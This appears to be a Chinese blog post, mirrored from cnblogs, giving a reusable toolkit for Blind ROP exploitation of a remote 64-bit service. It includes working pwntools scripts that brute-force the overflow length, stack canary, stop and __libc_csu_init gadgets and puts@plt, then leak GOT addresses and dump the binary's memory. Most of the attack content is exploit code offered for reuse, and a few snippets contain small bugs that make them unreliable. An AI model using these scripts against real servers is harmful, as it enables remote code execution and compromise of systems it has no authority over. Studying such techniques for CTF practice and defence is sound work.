zoukankan      html  css  js  c++  java
  • BROP_轮子

    总体思想:爆破buf长度-----爆破canary-----find stop_gadgets-----find brop_gadget-----find puts()/write()-----泄露函数的got地址得到libc-----编写ROP

    • 将 socket 输出重定向到输入输出
    • 寻找 “/bin/sh” 的地址。一般来说,最好是找到一块可写的内存,利用 write 函数将这个字符串写到相应的地址。
    • 执行 execve 获取 shell,获取 execve 不一定在 plt 表中,此时攻击者就需要想办法执行系统调用了。

    一般最终事执行Write()或者 puts()函数来Dump内存。

    pop rdi; ret # socket    ##find from __libc_csu_init 
    pop rsi; ret # buffer    ##find from __libc_csu_init
    pop rdx; ret # length    ##find from strcmp() or __libc_csu_init !!!!
    pop rax; ret # write syscall number
    syscall
    但通常来说,这样的方法都是比较困难的,因为想要找到一个 syscall 的地址基本不可能。。。我们可以通过转换为找 write 的方式来获取(在plt)。

    判断栈溢出长度

    def leakbuff_length():
        i=1
        while 1:
            try:
                p=remote('0.0.0.0',9999)
                p.recvuntil('password?
    ')
                p.sendline('A'*i)
                msg=p.recv()
                p.close()
                if 'password' in msg:
                    i = i+1
                    continue
            except EOFError:
                p.close()
                print i-1
                break

    单字节爆破Canary

    def boomcanary():
        step=1
        buf='A'*72
        canary_sing=0x00
        while 1:
            try:
                p=remote('0.0.0.0',9999)
                p.recvuntil('password?
    ')
                p.sendline(buf+chr(canary_sing))
                msg=recv()
                p.close()
                if step == 4:
                    break
                else:
                    buf=buf+str(canary_sing)
                    canary_sing=0x00
                    step=step+1
            except EOFError:
                p.close()
                canary_sing=canary_sing+1

    Find Gadgets

    前提,程序必须PIE关闭,所以我们从0X400000开始爆破Gadgets.

    Find stop gadgets

    所谓stop gadgets就是寻找一个不让程序奔溃的地址,这样我们我们就可以通过这个stop地址找到有用的其他gadgets

     

      stop gadget只是为了寻找其他有用的Gadgets,因为我们可以让寻找的gadget 的ret为我们的stop gadgets 那么程序就不会奔溃。!

    注意:一般好寻找的是main() 和sleep()函数,因为前者可以打印信息,后者可以hook程序但是不中断

    def Get_Stop_Gadgets(length):
        addr=0x4000000
        while 1:
            try:
                p=remote('0.0.0.0',9999)
                p.recvuntil("password?
    ")
                p.sendline('A'*length+p64(addr))
                p.recv()
                p.close()
                print "The address is %x"%addr
                break
            except Exception:
                addr=addr+1
                p.close()

    BROP gadgets

    这里是寻找libc_csu_init的结尾一长串的 gadgets

    但是也可以寻找其他的brop_gadgets:

    _init 
    _start 
    call_gmon_start 
    deregister_tm_clones 
    register_tm_clones 
    __do_global_dtors_aux 
    frame_dummy 
    __libc_csu_init
    __libc_csu_fini 
    _fini

    def Get_Brop_Gadget(length,stop_gadgets):
        brop_addr=stop_gadgets-1    
        while 1:
            try:
                p=remote('0.0.0.0',9999)
                p.recvuntil("password?
    ")
                payload='A'*length+p64(brop_addr)+p64(0)*6+p64(stop_gadgets)
                p.sendline(payload)
                p.recv()
                p.close()
                print "We find the csu_brop_addr%x"%brop_addr
                break
            except Exception:
                #p.close()
                brop_addr=brop_addr-1 
    
    def Check_Brop_Gadgets(length,brop_addr):
        payload='A'*length+p64(brop_addr)+p64(1)*10
        p=remote('0.0.0.0',9999)
        p.recvuntil("password?
    ")
        try:
            p.sendline()
            p.recv()
            p.close()
            print "This addr %x not brop"%brop_addr
        except Exception:
            print "This addr is Brop"
            p.close()

    一般如果我们找到了BROP,我们会去验证一下,验证方法是将我们的stop_gadgets替换为一个非法地址,这样程序ret 到一个非法地址就会奔溃。

    寻找输出函数:write/puts 

    目的:寻找输出函数是为了泄露Libc地址

    寻找puts@plt

      我们自然需要控制 rdi 参数,在上面,我们已经找到了 brop gadget。那么,我们根据 brop gadget 偏移 9 可以得到相应的 gadgets见博客。同时在程序还没有开启 PIE 保护的情况下,0x400000 处为 ELF 文件的头部,其内容为 x7fELF。所以我们可以根据这个来进行判断。一般来说,其 payload 如下:

    payload = 'A'*length +p64(pop_rdi_ret)+p64(0x400000)+p64(addr)+p64(stop_gadget)
    def Get_Put_addr(length,pop_rdi_ret,stop_gadget):
        put_addr=0x400000
        while 1:
            print hex(put_addr)
            p=remote('0.0.0.0',9999)
            p.recvuntil("password?
    ")
            payload='A'*length+p64(pop_rdi_ret)+p64(0x400000)+p64(put_addr)+p64(stop_gadget)
            p.sendline(payload)
            try:
                if 'ELF' in p.recv():
                    print "This addr is put"
                    p.close()
                    break
            except Exception:
                p.close()
                put_addr=put_addr+1
                    

    寻找 write@plt

    当我们可以控制 write 函数的三个参数的时候,我们就可以再次遍历所有的 plt 表,根据 write 函数将会输出内容来找到对应的函数。需要注意的是,这里有个比较麻烦的地方在于我们需要找到文件描述符的值。一般情况下,我们有两种方法来找到这个值

    • 使用 rop chain,同时使得每个 rop 对应的文件描述符不一样
    • 同时打开多个连接,并且我们使用相对较高的数值来试一试。

    需要注意的是

    • linux 默认情况下,一个进程最多只能打开 1024 个文件描述符。
    • posix 标准每次申请的文件描述符数值总是当前最小可用数值。

    当然,我们也可以选择寻找 puts 函数。

    泄露GOT地址

    def leak_got(length,pop_rdi_ret,puts_plt,leak_addr,stop_gadget):
        p=remote('0.0.0.0',9999)
        p.recvuntil("password?
    ")
        payload='A'*length+p64(pop_rdi_ret)+p64(leak_addr)+p64(puts_plt)+p64(stop_gadget)
        p.sendline(payload)
        try:
            msg=p.recv()
            if 'Welcome' in msg:
                print "The put_got addr is %x"%(u64(msg[0:8]))
                p.close()
        except Exception:
            p.close()
            print "something wrong?"

    通过打印GOT表

    Dump程序

    利用put函数从头开始打印函数,当然也可以指Dump-main函数之前的信息,这就包括了所有的plt表格

    def dump_memory(buf_size, stop_addr, gadgets_addr, puts_plt, start_addr, end_addr):
        pop_rdi  = gadgets_addr + 9     # pop rdi; ret
        result = ""
        while start_addr < end_addr:
            sleep(0.1)
            payload  = "A"*buf_size
            payload += p64(pop_rdi)
            payload += p64(start_addr)
            payload += p64(puts_plt)
            payload += p64(stop_addr)
            try:
                p = remote('0.0.0.0', 9999)
                p.recvline()
                p.sendline(payload)
                data = p.recv(timeout=0.1)      # timeout makes sure to recive all bytes
                if data == "
    ":
                    data = "x00"
                elif data[-1] == "
    ":
                    data = data[:-1]
                #log.info("leaking: 0x%x --> %s" % (start_addr,(data or '').encode('hex')))
                result += data
                start_addr += len(data)
                p.close()
            except:
                log.info("Can't connect")
        return result

    puts 函数通过 x00 进行截断,并且会在每一次输出末尾加上换行符 x0a,所以有一些特殊情况需要做一些处理,比如单独的 x00x0a 等,首先当然是先去掉末尾 puts 自动加上的  ,然后如果 recv 到一个  ,说明内存中是 x00,如果 recv 到一个  ,说明内存中是 x0ap.recv(timeout=0.1) 是由于函数本身的设定,如果有  ,它很可能在收到第一个   时就返回了,加上参数可以让它全部接收完。

    番外篇

    寻找 PLT

    每一个 plt 表项都是 16 字节,对于大多数 plt 调用来说,一般都不容易崩溃,即使是使用了比较奇怪的参数。

    如果我们发现了一系列的长度为 16 的没有使得程序崩溃的代码段,那么我们有一定的理由相信我们遇到了 plt 表。除此之外,我们还可以通过前后偏移 6 字节,来判断我们是处于 plt 表项中间还是说处于开头。

    注::::找CMP函数方法:

          1.plt遍历  

          2.利用 plt 表项的慢路径,并且利用下一个表项的慢路径的地址来覆盖返回地址

    控制RDX

    :在没有 PIE 保护的时候,64 位程序的 ELF 文件的 0x400000 处有 7 个非零字节。

    • readable,可读的地址。
    • bad, 非法地址,不可访问,比如说 0x0。

    那么我们如果控制传递的参数为这两种地址的组合,会出现以下四种情况

    • strcmp(bad,bad)
    • strcmp(bad,readable)
    • strcmp(readable,bad)
    • strcmp(readable,readable)

    只有最后一种格式,程序才会正常执行。

  • 相关阅读:
    【java规则引擎】《Drools7.0.0.Final规则引擎教程》第4章 4.3 日历
    【java规则引擎】《Drools7.0.0.Final规则引擎教程》第4章 4.3 定时器
    【java规则引擎】《Drools7.0.0.Final规则引擎教程》第4章 4.2 activation-group& dialect& date-effective
    【java规则引擎】《Drools7.0.0.Final规则引擎教程》第4章 4.2 auto-focus
    【java规则引擎】《Drools7.0.0.Final规则引擎教程》第4章 4.2 agenda-group
    【java规则引擎】《Drools7.0.0.Final规则引擎教程》第4章 4.2 ruleflow-group&salience
    【java规则引擎】《Drools7.0.0.Final规则引擎教程》第4章 4.2 lock-on-active
    【java规则引擎】《Drools7.0.0.Final规则引擎教程》第4章 4.2 no-loop
    【java规则引擎】《Drools7.0.0.Final规则引擎教程》第4章 4.1 规则文件
    【java规则引擎】《Drools7.0.0.Final规则引擎教程》第3章 3.2 KIE API解析
  • 原文地址:https://www.cnblogs.com/0xHack/p/11530863.html
Copyright © 2011-2022 走看看